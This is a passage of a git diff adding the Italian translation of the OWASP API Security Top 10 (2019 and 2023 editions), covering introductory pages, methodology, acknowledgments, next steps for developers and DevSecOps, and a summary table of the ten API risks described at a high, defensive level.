[nostra roadmap][3]. Nel frattempo, puoi esercitarti sulla sicurezza delle WebApp usando il [OWASP DevSlop Pixi Module][4], una WebApp e un servizio API intenzionalmente vulnerabili pensati per insegnare agli utenti come testare la sicurezza delle applicazioni web e delle API moderne, e come scrivere API più sicure in futuro. Puoi anche partecipare alle sessioni di formazione della [Conferenza OWASP AppSec][5] o [unirti al tuo capitolo locale][6]. | +| **Requisiti di Sicurezza** | La sicurezza deve far parte di ogni progetto fin dall'inizio. Quando si raccolgono i requisiti, è importante definire cosa significa "sicuro" per quel progetto. OWASP raccomanda di utilizzare l'[OWASP Application Security Verification Standard (ASVS)][7] come guida per definire i requisiti di sicurezza. Se si esternalizza il lavoro, considera l'[OWASP Secure Software Contract Annex][8], che dovrebbe essere adattato in base alla legge e alla normativa locale. | +| **Architettura di Sicurezza** | La sicurezza deve rimanere una preoccupazione durante tutte le fasi del progetto. Le [OWASP Prevention Cheat Sheets][9] sono un buon punto di partenza per la guida su come progettare la sicurezza nella fase di architettura. Tra i tanti, troverai il [REST Security Cheat Sheet][10] e il [REST Assessment Cheat Sheet][11]. | +| **Controlli di Sicurezza Standard** | Adottare controlli di sicurezza standard riduce il rischio di introdurre debolezze di sicurezza durante la scrittura della propria logica. Nonostante molti framework moderni ora includano controlli standard integrati efficaci, gli [OWASP Proactive Controls][12] offrono una buona panoramica dei controlli di sicurezza che dovresti considerare di includere nel tuo progetto. OWASP fornisce anche alcune librerie e strumenti che potresti trovare utili, come i controlli di validazione. | +| **Secure Software Development Life Cycle** | Puoi utilizzare l'[OWASP Software Assurance Maturity Model (SAMM)][13] per migliorare il processo di sviluppo delle API. Diversi altri progetti OWASP sono disponibili per supportarti nelle diverse fasi di sviluppo delle API, ad esempio il [OWASP Code Review Project][14]. | + +[1]: https://www.owasp.org/index.php/Category:OWASP_Project +[2]: https://www.owasp.org/index.php/OWASP_Education_Material_Categorized +[3]: https://www.owasp.org/index.php/OWASP_API_Security_Project#tab=Road_Map +[4]: https://devslop.co/Home/Pixi +[5]: https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference +[6]: https://www.owasp.org/index.php/OWASP_Chapter +[7]: https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project +[8]: https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex +[9]: https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series +[10]: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md +[11]: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md +[12]: https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2018 +[13]: https://www.owasp.org/index.php/OWASP_SAMM_Project +[14]: https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project diff --git a/editions/2019/it/0xb1-next-devsecops.md b/editions/2019/it/0xb1-next-devsecops.md new file mode 100644 index 000000000..fd31200ed --- /dev/null +++ b/editions/2019/it/0xb1-next-devsecops.md @@ -0,0 +1,30 @@ +# Prossimi Passi per i DevSecOps + +Data la loro importanza nelle architetture applicative moderne, sviluppare API +sicure è fondamentale. La sicurezza non può essere trascurata e deve far parte +dell'intero ciclo di sviluppo. La scansione e i penetration test annuali non +sono più sufficienti. + +I DevSecOps devono unirsi allo sforzo di sviluppo, facilitando il testing +continuo della sicurezza lungo l'intero ciclo di vita del software. Il loro +obiettivo è potenziare la pipeline di sviluppo con l'automazione della sicurezza, +senza impattare la velocità di sviluppo. + +In caso di dubbio, rimani aggiornato e consulta spesso il [DevSecOps Manifesto][1]. + +| | | +|-|-| +| **Comprendere il Modello di Minaccia** | Le priorità di testing derivano da un modello di minaccia. Se non ne hai uno, considera di utilizzare l'[OWASP Application Security Verification Standard (ASVS)][2] e la [OWASP Testing Guide][3] come input. Coinvolgere il team di sviluppo può contribuire a renderlo più consapevole della sicurezza. | +| **Comprendere il SDLC** | Unisciti al team di sviluppo per comprendere meglio il Software Development Life Cycle. Il tuo contributo al testing continuo della sicurezza deve essere compatibile con persone, processi e strumenti. Tutti devono concordare sul processo, in modo che non ci siano attriti o resistenze inutili. | +| **Strategie di Testing** | Poiché il tuo lavoro non deve impattare la velocità di sviluppo, dovresti scegliere saggiamente la tecnica migliore (semplice, rapida, più accurata) per verificare i requisiti di sicurezza. L'[OWASP Security Knowledge Framework][4] e l'[OWASP Application Security Verification Standard][5] possono essere ottime fonti di requisiti di sicurezza funzionali e non funzionali. Esistono altre ottime fonti per [progetti][6] e [strumenti][7] simili a quelli offerti dalla [community DevSecOps][8]. | +| **Raggiungere Copertura e Accuratezza** | Sei il ponte tra i team di sviluppo e operativi. Per raggiungere la copertura, non dovresti concentrarti solo sulla funzionalità, ma anche sull'orchestrazione. Lavora a stretto contatto con entrambi i team fin dall'inizio per ottimizzare il tuo tempo e il tuo impegno. Dovresti puntare a uno stato in cui la sicurezza essenziale viene verificata continuamente. | +| **Comunicare Chiaramente i Risultati** | Contribuisci valore con il minimo attrito possibile. Consegna i risultati in modo tempestivo, all'interno degli strumenti che i team di sviluppo già utilizzano (non file PDF). Unisciti al team di sviluppo per affrontare i risultati. Cogli l'opportunità di formarli, descrivendo chiaramente la debolezza e come può essere sfruttata, includendo uno scenario di attacco per renderlo concreto. | + +[1]: https://www.devsecops.org/ +[2]: https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project +[3]: https://www.owasp.org/index.php/OWASP_Testing_Project +[4]: https://www.owasp.org/index.php/OWASP_Security_Knowledge_Framework +[5]: https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project +[6]: http://devsecops.github.io/ +[7]: https://github.com/devsecops/awesome-devsecops +[8]: http://devsecops.org diff --git a/editions/2019/it/0xd0-about-data.md b/editions/2019/it/0xd0-about-data.md new file mode 100644 index 000000000..d095dfd64 --- /dev/null +++ b/editions/2019/it/0xd0-about-data.md @@ -0,0 +1,43 @@ +# Metodologia e Dati + +## Panoramica + +Poiché il settore dell'AppSec non si è concentrato specificamente sulla più +recente architettura delle applicazioni, in cui le API svolgono un ruolo +importante, compilare una lista dei dieci rischi di sicurezza delle API più +critici sulla base di una raccolta pubblica di dati sarebbe stato un compito +difficile. Nonostante l'assenza di una raccolta pubblica di dati, la lista Top +10 risultante si basa comunque su dati pubblicamente disponibili, i contributi +di esperti di sicurezza e una discussione aperta con la community della sicurezza. + +## Metodologia + +Nella prima fase, dati pubblicamente disponibili sugli incidenti di sicurezza +delle API sono stati raccolti, esaminati e categorizzati da un gruppo di esperti +di sicurezza. Tali dati sono stati raccolti da piattaforme di bug bounty e +database delle vulnerabilità, nell'arco di un anno. Sono stati utilizzati a +fini statistici. + +Nella fase successiva, ai professionisti della sicurezza con esperienza nel +penetration testing è stato chiesto di compilare la propria lista Top 10. + +La [Metodologia di Valutazione del Rischio OWASP][1] è stata utilizzata per +eseguire l'analisi del rischio. I punteggi sono stati discussi e rivisti tra i +professionisti della sicurezza. Per considerazioni su queste questioni, si prega +di fare riferimento alla sezione [Rischi di Sicurezza delle API][2]. + +La prima bozza dell'OWASP API Security Top 10 2019 è il risultato di un consenso +tra i risultati statistici della prima fase e le liste dei professionisti della +sicurezza. Questa bozza è stata poi sottoposta all'apprezzamento e alla revisione +di un altro gruppo di professionisti della sicurezza, con esperienza rilevante +nei campi della sicurezza delle API. + +L'OWASP API Security Top 10 2019 è stato presentato per la prima volta +all'evento OWASP Global AppSec Tel Aviv (maggio 2019). Da allora, è disponibile +su GitHub per discussione pubblica e contributi. + +L'elenco dei contributori è disponibile nella sezione [Riconoscimenti][3]. + +[1]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[2]: ./0x10-api-security-risks.md +[3]: ./0xd1-acknowledgments.md diff --git a/editions/2019/it/0xd1-acknowledgments.md b/editions/2019/it/0xd1-acknowledgments.md new file mode 100644 index 000000000..4b8a430d4 --- /dev/null +++ b/editions/2019/it/0xd1-acknowledgments.md @@ -0,0 +1,40 @@ +# Riconoscimenti + +## Ringraziamenti ai Contributori + +Desideriamo ringraziare i seguenti contributori che hanno contribuito +pubblicamente su GitHub o tramite altri canali: + +* 007divyachawla +* Abid Khan +* Adam Fisher +* anotherik +* bkimminich +* caseysoftware +* Chris Westphal +* dsopas +* DSotnikov +* emilva +* ErezYalon +* flascelles +* Guillaume Benats +* IgorSasovets +* Inonshk +* JonnySchnittger +* jmanico +* jmdx +* Keith Casey +* kozmic +* LauraRosePorter +* Matthieu Estrade +* nathanawmk +* PauloASilva +* pentagramz +* philippederyck +* pleothaud +* r00ter +* Raj kumar +* Sagar Popat +* Stephen Gates +* thomaskonrad +* xycloops123 diff --git a/editions/2019/it/dist/owasp-api-security-top-10.odt b/editions/2019/it/dist/owasp-api-security-top-10.odt new file mode 100644 index 000000000..ef7ecb77f Binary files /dev/null and b/editions/2019/it/dist/owasp-api-security-top-10.odt differ diff --git a/editions/2019/it/dist/owasp-api-security-top-10.pdf b/editions/2019/it/dist/owasp-api-security-top-10.pdf new file mode 100644 index 000000000..d0ccb0706 Binary files /dev/null and b/editions/2019/it/dist/owasp-api-security-top-10.pdf differ diff --git a/editions/2019/it/images/cover.jpg b/editions/2019/it/images/cover.jpg new file mode 100644 index 000000000..5ef93f221 Binary files /dev/null and b/editions/2019/it/images/cover.jpg differ diff --git a/editions/2019/it/images/front-cc.png b/editions/2019/it/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2019/it/images/front-cc.png differ diff --git a/editions/2019/it/images/front-wasp.png b/editions/2019/it/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2019/it/images/front-wasp.png differ diff --git a/editions/2019/it/images/license.png b/editions/2019/it/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2019/it/images/license.png differ diff --git a/editions/2019/it/images/owasp-logo.png b/editions/2019/it/images/owasp-logo.png new file mode 100644 index 000000000..caeb47bdf Binary files /dev/null and b/editions/2019/it/images/owasp-logo.png differ diff --git a/editions/2019/mkdocs.yml b/editions/2019/mkdocs.yml index 5216b4969..706873cce 100644 --- a/editions/2019/mkdocs.yml +++ b/editions/2019/mkdocs.yml @@ -17,6 +17,8 @@ extra: lang: fr - name: Greek (Greece) lang: el-gr + - name: Italiano + lang: it - name: Português (Brasil) lang: pt-BR - name: Português (Portugal) diff --git a/editions/2023/it/0x00-header.md b/editions/2023/it/0x00-header.md new file mode 100644 index 000000000..595323313 --- /dev/null +++ b/editions/2023/it/0x00-header.md @@ -0,0 +1,14 @@ +--- +title: '' +description: OWASP API Security Top 10 edizione 2023 +--- + +![OWASP LOGO](images/cover.jpg) + +| | | | +| - | - | - | +| https://owasp.org | Questo documento è rilasciato sotto licenza [Creative Commons Attribution-ShareAlike 4.0 International][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ + + diff --git a/editions/2023/it/0x00-notice.md b/editions/2023/it/0x00-notice.md new file mode 100644 index 000000000..d9d7c461c --- /dev/null +++ b/editions/2023/it/0x00-notice.md @@ -0,0 +1,14 @@ +# Avviso + +Questa è la versione in formato testo dell'OWASP API Security Top 10, utilizzata come +sorgente per tutte le versioni ufficiali di questo documento, tra cui il sito web. + +I contributi al progetto come commenti, correzioni o traduzioni +devono essere effettuati qui. Per i dettagli su [Come Contribuire][1], fare +riferimento a [CONTRIBUTING.md][1]. + +* Erez Yallon +* Inon Shkedy +* Paulo Silva + +[1]: ../../../CONTRIBUTING.md diff --git a/editions/2023/it/0x00-toc.md b/editions/2023/it/0x00-toc.md new file mode 100644 index 000000000..11ac5eceb --- /dev/null +++ b/editions/2023/it/0x00-toc.md @@ -0,0 +1,23 @@ +# Indice + +* [Indice](0x00-toc.md) +* [Informazioni su OWASP](0x01-about-owasp.md) +* [Prefazione](0x02-foreword.md) +* [Introduzione](0x03-introduction.md) +* [Note di rilascio](0x04-release-notes.md) +* [Rischi di sicurezza delle API](0x10-api-security-risks.md) +* [OWASP Top 10 API Security Risks – 2023](0x11-t10.md) +* [API1:2023 Broken Object Level Authorization](0xa1-broken-object-level-authorization.md) +* [API2:2023 Broken Authentication](0xa2-broken-authentication.md) +* [API3:2023 Broken Object Property Level Authorization](0xa3-broken-object-property-level-authorization.md) +* [API4:2023 Unrestricted Resource Consumption](0xa4-unrestricted-resource-consumption.md) +* [API5:2023 Broken Function Level Authorization](0xa5-broken-function-level-authorization.md) +* [API6:2023 Unrestricted Access to Sensitive Business Flows](0xa6-unrestricted-access-to-sensitive-business-flows.md) +* [API7:2023 Server Side Request Forgery](0xa7-server-side-request-forgery.md) +* [API8:2023 Security Misconfiguration](0xa8-security-misconfiguration.md) +* [API9:2023 Improper Inventory Management](0xa9-improper-inventory-management.md) +* [API10:2023 Unsafe Consumption of APIs](0xaa-unsafe-consumption-of-apis.md) +* [Prossimi passi per gli sviluppatori](0xb0-next-devs.md) +* [Prossimi passi per i DevSecOps](0xb1-next-devsecops.md) +* [Metodologia e dati](0xd0-about-data.md) +* [Riconoscimenti](0xd1-acknowledgments.md) diff --git a/editions/2023/it/0x01-about-owasp.md b/editions/2023/it/0x01-about-owasp.md new file mode 100644 index 000000000..9b5573661 --- /dev/null +++ b/editions/2023/it/0x01-about-owasp.md @@ -0,0 +1,62 @@ +# Informazioni su OWASP + +L'Open Worldwide Application Security Project (OWASP) è una comunità aperta +dedicata a supportare le organizzazioni nello sviluppo, nell'acquisto e nel +mantenimento di applicazioni e API affidabili. + +Su OWASP troverai gratuitamente e in formato aperto: + +* Strumenti e standard per la sicurezza delle applicazioni. +* Guide complete sul testing della sicurezza applicativa, sullo sviluppo sicuro + del codice e sulla revisione del codice sicuro. +* Presentazioni e [video][1]. +* [Cheat sheet][2] su molti argomenti comuni. +* Controlli di sicurezza standard e librerie. +* [Capitoli locali in tutto il mondo][3]. +* Ricerca all'avanguardia. +* [Conferenze internazionali][4] di grande rilievo. +* [Mailing list][5] ([archivio][6]). + +Scopri di più su: [https://www.owasp.org][7]. + +Tutti gli strumenti, i documenti, i video, le presentazioni e i capitoli OWASP +sono gratuiti e aperti a chiunque voglia migliorare la sicurezza delle +applicazioni. + +Riteniamo che la sicurezza applicativa debba essere affrontata come un problema +di persone, processi e tecnologia, poiché gli approcci più efficaci richiedono +miglioramenti in tutte queste aree. + +OWASP è un nuovo tipo di organizzazione. La nostra indipendenza dalle pressioni +commerciali ci permette di fornire informazioni imparziali, pratiche ed +economicamente accessibili sulla sicurezza delle applicazioni. + +OWASP non è affiliata ad alcuna azienda tecnologica, pur supportando l'uso +consapevole di tecnologie di sicurezza commerciali. OWASP produce molti tipi +di materiali in modo collaborativo, trasparente e aperto. + +La OWASP Foundation è l'ente no-profit che garantisce il successo a lungo +termine del progetto. Quasi tutte le persone coinvolte in OWASP sono volontarie, +inclusi il consiglio di amministrazione, i responsabili dei capitoli, i +responsabili dei progetti e i membri dei progetti. Supportiamo la ricerca +innovativa sulla sicurezza attraverso sovvenzioni e infrastrutture. + +Unisciti a noi! + +## Copyright e Licenza + +![license](images/license.png) + +Copyright © 2003-2023 The OWASP Foundation. Questo documento è rilasciato sotto +la licenza [Creative Commons Attribution Share-Alike 4.0][8]. Per qualsiasi +riutilizzo o distribuzione, è necessario rendere chiari agli altri i termini +della licenza di questo lavoro. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://cheatsheetseries.owasp.org/ +[3]: https://owasp.org/chapters/ +[4]: https://owasp.org/events/ +[5]: https://groups.google.com/a/owasp.org/forum/#!overview +[6]: https://lists.owasp.org/mailman/listinfo +[7]: https://www.owasp.org +[8]: http://creativecommons.org/licenses/by-sa/4.0/ \ No newline at end of file diff --git a/editions/2023/it/0x02-foreword.md b/editions/2023/it/0x02-foreword.md new file mode 100644 index 000000000..94935b514 --- /dev/null +++ b/editions/2023/it/0x02-foreword.md @@ -0,0 +1,45 @@ +# Prefazione + +Un elemento fondante dell'innovazione nel mondo odierno, guidato dalle +applicazioni, è la Application Programming Interface (API). Dalle banche, al +commercio al dettaglio e ai trasporti, fino all'IoT, ai veicoli autonomi e alle +città intelligenti, le API sono una componente critica delle moderne applicazioni +mobile, SaaS e web, e si trovano nelle applicazioni rivolte ai clienti, ai +partner e ad uso interno. + +Per loro natura, le API espongono la logica applicativa e dati sensibili come le +Informazioni di Identificazione Personale (PII) e, per questo motivo, le API +sono diventate sempre più un bersaglio per gli attaccanti. Senza API sicure, +l'innovazione rapida sarebbe impossibile. + +Sebbene una classifica più ampia dei rischi di sicurezza delle applicazioni web +abbia ancora senso, data la loro natura particolare, è necessaria una lista di +rischi specifica per le API. La sicurezza delle API si concentra su strategie e +soluzioni per comprendere e mitigare le vulnerabilità e i rischi di sicurezza +unici associati alle API. + +Se hai familiarità con il [Progetto OWASP Top 10][1], noterai le analogie tra i +due documenti: entrambi sono pensati per essere leggibili e facilmente adottati. +Se sei nuovo alla serie OWASP Top 10, potresti trovare utile leggere prima le +sezioni [Rischi di Sicurezza delle API][2] e [Metodologia e Dati][3] prima di +consultare la lista Top 10. + +Puoi contribuire all'OWASP API Security Top 10 con domande, commenti e idee +tramite il nostro repository GitHub: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +Puoi trovare l'OWASP API Security Top 10 qui: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security + +Desideriamo ringraziare tutti i contributori che hanno reso possibile questo +progetto con il loro impegno e i loro contributi. Sono tutti elencati nella +[sezione Riconoscimenti][4]. Grazie! + +[1]: https://owasp.org/www-project-top-ten/ +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md \ No newline at end of file diff --git a/editions/2023/it/0x03-introduction.md b/editions/2023/it/0x03-introduction.md new file mode 100644 index 000000000..7321b0c18 --- /dev/null +++ b/editions/2023/it/0x03-introduction.md @@ -0,0 +1,62 @@ +# Introduzione + +## Benvenuto nell'OWASP API Security Top 10 - 2023! + +Benvenuto nella seconda edizione dell'OWASP API Security Top 10! + +Questo documento di sensibilizzazione è stato pubblicato per la prima volta nel +2019. Da allora, il settore della sicurezza delle API è cresciuto e maturato +notevolmente. Crediamo fermamente che questo lavoro abbia contribuito +positivamente a tale evoluzione, grazie alla sua rapida adozione come riferimento +di settore. + +Le API svolgono un ruolo fondamentale nelle architetture applicative moderne. Ma +poiché l'innovazione procede a un ritmo diverso rispetto alla creazione di +consapevolezza in materia di sicurezza, riteniamo importante concentrarsi sulla +diffusione della conoscenza delle vulnerabilità di sicurezza più comuni nelle API. + +L'obiettivo principale dell'OWASP API Security Top 10 è formare chi è coinvolto +nello sviluppo e nella manutenzione delle API, come sviluppatori, designer, +architetti, manager e organizzazioni. Puoi saperne di più sul Progetto API +Security visitando [la pagina del progetto][1]. + +Se non hai familiarità con la serie OWASP Top 10, ti consigliamo di consultare +almeno i seguenti progetti: + +* [OWASP Cloud-Native Application Security Top 10][2] +* [OWASP Desktop App Security Top 10][3] +* [OWASP Docker Top 10][4] +* [OWASP Low-Code/No-Code Top 10][5] +* [OWASP Machine Learning Security Top Ten][6] +* [OWASP Mobile Top 10][7] +* [OWASP TOP 10][8] +* [OWASP Top 10 CI/CD Security Risks][9] +* [OWASP Top 10 Client-Side Security Risks][10] +* [OWASP Top 10 Privacy Risks][11] +* [OWASP Serverless Top 10][12] + +Nessuno di questi progetti sostituisce gli altri: se stai lavorando su +un'applicazione mobile che utilizza un'API back-end, è meglio consultare +entrambe le classifiche corrispondenti. Lo stesso vale se stai lavorando su +un'applicazione web o desktop basata su API. + +Nella sezione [Metodologia e Dati][13] puoi leggere ulteriori dettagli su come +è stata realizzata questa edizione. Per ora, incoraggiamo tutti a contribuire +con domande, commenti e idee tramite il nostro [repository GitHub][14] o la +[mailing list][15]. + +[1]: https://owasp.org/www-project-api-security/ +[2]: https://owasp.org/www-project-cloud-native-application-security-top-10/ +[3]: https://owasp.org/www-project-desktop-app-security-top-10/ +[4]: https://owasp.org/www-project-docker-top-10/ +[5]: https://owasp.org/www-project-top-10-low-code-no-code-security-risks/ +[6]: https://owasp.org/www-project-machine-learning-security-top-10/ +[7]: https://owasp.org/www-project-mobile-top-10/ +[8]: https://owasp.org/www-project-top-ten/ +[9]: https://owasp.org/www-project-top-10-ci-cd-security-risks/ +[10]: https://owasp.org/www-project-top-10-client-side-security-risks/ +[11]: https://owasp.org/www-project-top-10-privacy-risks/ +[12]: https://owasp.org/www-project-serverless-top-10/ +[13]: ./0xd0-about-data.md +[14]: https://github.com/OWASP/API-Security +[15]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project \ No newline at end of file diff --git a/editions/2023/it/0x04-release-notes.md b/editions/2023/it/0x04-release-notes.md new file mode 100644 index 000000000..8fabcca42 --- /dev/null +++ b/editions/2023/it/0x04-release-notes.md @@ -0,0 +1,52 @@ +# Note di Rilascio + +Questa è la seconda edizione dell'OWASP API Security Top 10, esattamente quattro +anni dopo la prima pubblicazione. Molto è cambiato nel panorama della sicurezza +delle API. Il traffico API è cresciuto rapidamente, alcuni protocolli API hanno +guadagnato molto più spazio, sono emersi molti nuovi vendor e soluzioni per la +sicurezza delle API e, naturalmente, gli attaccanti hanno sviluppato nuove +competenze e tecniche per compromettere le API. Era giunto il momento di +aggiornare la lista dei dieci rischi di sicurezza delle API più critici. + +Con un settore della sicurezza delle API più maturo, per la prima volta è stata +lanciata una [raccolta pubblica di dati][1]. Purtroppo non sono stati forniti +dati sufficienti per un'analisi statistica rilevante, ma basandoci sull'esperienza +del team di progetto, su un'attenta revisione da parte di specialisti in sicurezza +delle API e sul feedback della community sulla release candidate, abbiamo +costruito questa nuova lista. Nella [sezione Metodologia e Dati][2] troverai +maggiori dettagli su come è stata costruita questa versione. Per ulteriori +informazioni sui rischi di sicurezza, fai riferimento alla +[sezione Rischi di Sicurezza delle API][3]. + +L'OWASP API Security Top 10 2023 è un documento di sensibilizzazione +orientato al futuro per un settore in rapida evoluzione. Non sostituisce +altre classifiche Top 10. In questa edizione: + +* Abbiamo unito Excessive Data Exposure e Mass Assignment, concentrandoci sulla + causa radice comune: le carenze nella validazione dell'autorizzazione a livello + di proprietà degli oggetti. +* Abbiamo posto maggiore enfasi sul consumo delle risorse, rispetto alla + velocità con cui vengono esaurite. +* Abbiamo creato una nuova categoria "Unrestricted Access to Sensitive Business + Flows" per affrontare nuove minacce, incluse la maggior parte di quelle + mitigabili tramite il rate limiting. +* Abbiamo aggiunto "Unsafe Consumption of APIs" per trattare un fenomeno + emergente: gli attaccanti hanno iniziato a prendere di mira i servizi + integrati di un bersaglio per comprometterli, anziché colpire direttamente + le API del target. È il momento giusto per iniziare a creare consapevolezza + su questo rischio crescente. + +Le API svolgono un ruolo sempre più importante nelle architetture moderne a +microservizi, nelle Single Page Application (SPA), nelle app mobile, nell'IoT e +altro ancora. L'OWASP API Security Top 10 è uno sforzo necessario per creare +consapevolezza sui problemi di sicurezza delle API moderne. + +Questo aggiornamento è stato possibile grazie al grande impegno di numerosi +volontari, elencati nella sezione [Riconoscimenti][4]. + +Grazie! + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: ./0xd0-about-data.md +[3]: ./0x10-api-security-risks.md +[4]: ./0xd1-acknowledgments.md \ No newline at end of file diff --git a/editions/2023/it/0x10-api-security-risks.md b/editions/2023/it/0x10-api-security-risks.md new file mode 100644 index 000000000..f87509e05 --- /dev/null +++ b/editions/2023/it/0x10-api-security-risks.md @@ -0,0 +1,49 @@ +# Rischi di Sicurezza delle API + +Per l'analisi dei rischi è stata utilizzata la [Metodologia di Valutazione del +Rischio OWASP][1]. + +La tabella seguente riassume la terminologia associata al punteggio di rischio. + +| Agenti di Minaccia | Sfruttabilità | Diffusione della Debolezza | Rilevabilità della Debolezza | Impatto Tecnico | Impatti sul Business | +| :-: | :-: | :-: | :-: | :-: | :-: | +| Specifico per API | Facile: **3** | Diffusa **3** | Facile **3** | Grave **3** | Specifico per il Business | +| Specifico per API | Media: **2** | Comune **2** | Media **2** | Moderato **2** | Specifico per il Business | +| Specifico per API | Difficile: **1** | Difficile **1** | Difficile **1** | Minore **1** | Specifico per il Business | + +**Nota**: Questo approccio non tiene conto della probabilità che l'agente di +minaccia si materializzi, né dei vari dettagli tecnici specifici della tua +applicazione. Ognuno di questi fattori potrebbe influenzare significativamente +la probabilità complessiva che un attaccante trovi e sfrutti una determinata +vulnerabilità. Questa valutazione non considera l'impatto reale sul tuo business. +La tua organizzazione dovrà decidere quale livello di rischio di sicurezza delle +applicazioni e delle API è disposta ad accettare, tenendo conto della propria +cultura, del settore di appartenenza e del contesto normativo. Lo scopo +dell'OWASP API Security Top 10 non è quello di effettuare questa analisi del +rischio al posto tuo. Poiché questa edizione non si basa sui dati, i risultati +sulla diffusione derivano da un consenso tra i membri del team di progetto. + +## Riferimenti + +### OWASP + +* [Metodologia di Valutazione del Rischio OWASP][1] +* [Articolo su Threat/Risk Modeling][2] + +### Esterni + +* [ISO 31000: Standard di Gestione del Rischio][3] +* [ISO 27001: ISMS][4] +* [NIST Cyber Framework (US)][5] +* [ASD Strategic Mitigations (AU)][6] +* [NIST CVSS 3.0][7] +* [Microsoft Threat Modeling Tool][8] + +[1]: https://owasp.org/www-project-risk-assessment-framework/ +[2]: https://owasp.org/www-community/Threat_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 \ No newline at end of file diff --git a/editions/2023/it/0x11-t10.md b/editions/2023/it/0x11-t10.md new file mode 100644 index 000000000..0720171ea --- /dev/null +++ b/editions/2023/it/0x11-t10.md @@ -0,0 +1,28 @@ +# OWASP Top 10 API Security Risks – 2023 + +| Rischio | Descrizione | +| ---- | ----------- | +| [API1:2023 - Broken Object Level Authorization][api1] | Le API tendono a esporre endpoint che gestiscono identificatori di oggetti, creando un'ampia superficie di attacco legata ai problemi di controllo degli accessi a livello di oggetto. I controlli di autorizzazione a livello di oggetto devono essere considerati in ogni funzione che accede a una fonte di dati tramite un ID proveniente dall'utente. | +| [API2:2023 - Broken Authentication][api2] | I meccanismi di autenticazione sono spesso implementati in modo errato, consentendo agli attaccanti di compromettere i token di autenticazione o di sfruttare falle implementative per assumere temporaneamente o permanentemente l'identità di altri utenti. La compromissione della capacità di un sistema di identificare il client/utente compromette la sicurezza dell'API nel suo complesso. | +| [API3:2023 - Broken Object Property Level Authorization][api3] | Questa categoria combina [API3:2019 Excessive Data Exposure][1] e [API6:2019 - Mass Assignment][2], concentrandosi sulla causa radice comune: la mancanza o l'inadeguatezza della validazione dell'autorizzazione a livello di proprietà degli oggetti. Ciò porta all'esposizione o alla manipolazione di informazioni da parte di soggetti non autorizzati. | +| [API4:2023 - Unrestricted Resource Consumption][api4] | Soddisfare le richieste API richiede risorse come larghezza di banda di rete, CPU, memoria e storage. Altre risorse come email/SMS/telefonate o la validazione biometrica sono rese disponibili dai fornitori di servizi tramite integrazioni API, con addebito per ogni richiesta. Attacchi riusciti possono portare a un Denial of Service o a un aumento dei costi operativi. | +| [API5:2023 - Broken Function Level Authorization][api5] | Politiche di controllo degli accessi complesse con gerarchie, gruppi e ruoli differenti, e una separazione poco chiara tra funzioni amministrative e funzioni ordinarie, tendono a causare falle nell'autorizzazione. Sfruttando queste problematiche, gli attaccanti possono accedere alle risorse di altri utenti e/o alle funzioni amministrative. | +| [API6:2023 - Unrestricted Access to Sensitive Business Flows][api6] | Le API vulnerabili a questo rischio espongono un flusso di business — come l'acquisto di un biglietto o la pubblicazione di un commento — senza compensare il modo in cui quella funzionalità potrebbe danneggiare il business se utilizzata in modo eccessivo e automatizzato. Ciò non deriva necessariamente da bug implementativi. | +| [API7:2023 - Server Side Request Forgery][api7] | Le falle di Server-Side Request Forgery (SSRF) possono verificarsi quando un'API recupera una risorsa remota senza validare l'URI fornito dall'utente. Ciò consente a un attaccante di forzare l'applicazione a inviare una richiesta artefatta a una destinazione inattesa, anche se protetta da un firewall o una VPN. | +| [API8:2023 - Security Misconfiguration][api8] | Le API e i sistemi che le supportano contengono tipicamente configurazioni complesse, pensate per renderle più personalizzabili. Gli ingegneri software e DevOps possono trascurare queste configurazioni o non seguire le best practice di sicurezza nella configurazione, aprendo la porta a diversi tipi di attacchi. | +| [API9:2023 - Improper Inventory Management][api9] | Le API tendono a esporre più endpoint rispetto alle applicazioni web tradizionali, rendendo una documentazione aggiornata e accurata molto importante. Un inventario adeguato degli host e delle versioni API distribuite è fondamentale anche per mitigare problemi come le versioni API deprecate e gli endpoint di debug esposti. | +| [API10:2023 - Unsafe Consumption of APIs][api10] | Gli sviluppatori tendono a fidarsi dei dati ricevuti da API di terze parti più che dell'input degli utenti, adottando di conseguenza standard di sicurezza meno rigorosi. Per compromettere le API, gli attaccanti prendono di mira i servizi di terze parti integrati invece di cercare di compromettere direttamente l'API bersaglio. | + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://owasp.org/API-Security/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting/ +[api1]: 0xa1-broken-object-level-authorization.md +[api2]: 0xa2-broken-authentication.md +[api3]: 0xa3-broken-object-property-level-authorization.md +[api4]: 0xa4-unrestricted-resource-consumption.md +[api5]: 0xa5-broken-function-level-authorization.md +[api6]: 